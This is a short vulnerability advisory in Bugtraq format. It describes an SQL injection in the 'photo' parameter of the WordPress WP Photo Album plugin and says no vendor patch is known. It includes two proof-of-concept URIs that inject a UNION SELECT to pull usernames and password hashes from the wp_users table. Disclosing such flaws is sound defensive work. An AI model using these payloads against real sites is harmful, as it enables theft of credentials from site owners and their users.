WordPress WP Photo Album Plugin 'photo' Parameter SQL Injection Vulnerability

Bugtraq ID:	29148
Class:	Input Validation Error
CVE:
Remote:	Yes
Local:	No
Published:	May 09 2008 12:00AM
Updated:	May 12 2008 10:15PM
Credit:	THE_MILLER
Vulnerable:	WP Photo Album WPPA 0
Not Vulnerable:

WordPress WP Photo Album Plugin 'photo' Parameter SQL Injection Vulnerability

The WordPress WP Photo Album (WPPA) plugin is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

WordPress WP Photo Album Plugin 'photo' Parameter SQL Injection Vulnerability

An attacker can exploit this issue via a browser.

The following proof-of-concept URIs are available:

http://www.example.com/photos/?album=1&photo=-11111+union+select+concat(user_login,char(45),user_pass)+from+wp_users--
http://www.example.com/?page_id=[gallerypage]&album=10&photo=-16+union+select+concat(user_login,char(45),user_pass)+from+wp_users--

WordPress WP Photo Album Plugin 'photo' Parameter SQL Injection Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].

WordPress WP Photo Album Plugin 'photo' Parameter SQL Injection Vulnerability

References:

• Wordpress church_admin Plugin "id" Cross-Site Scripting Vulnerability (Sammy Forgit)
  
• WP Photo Album - WPPA (WP Photo Album)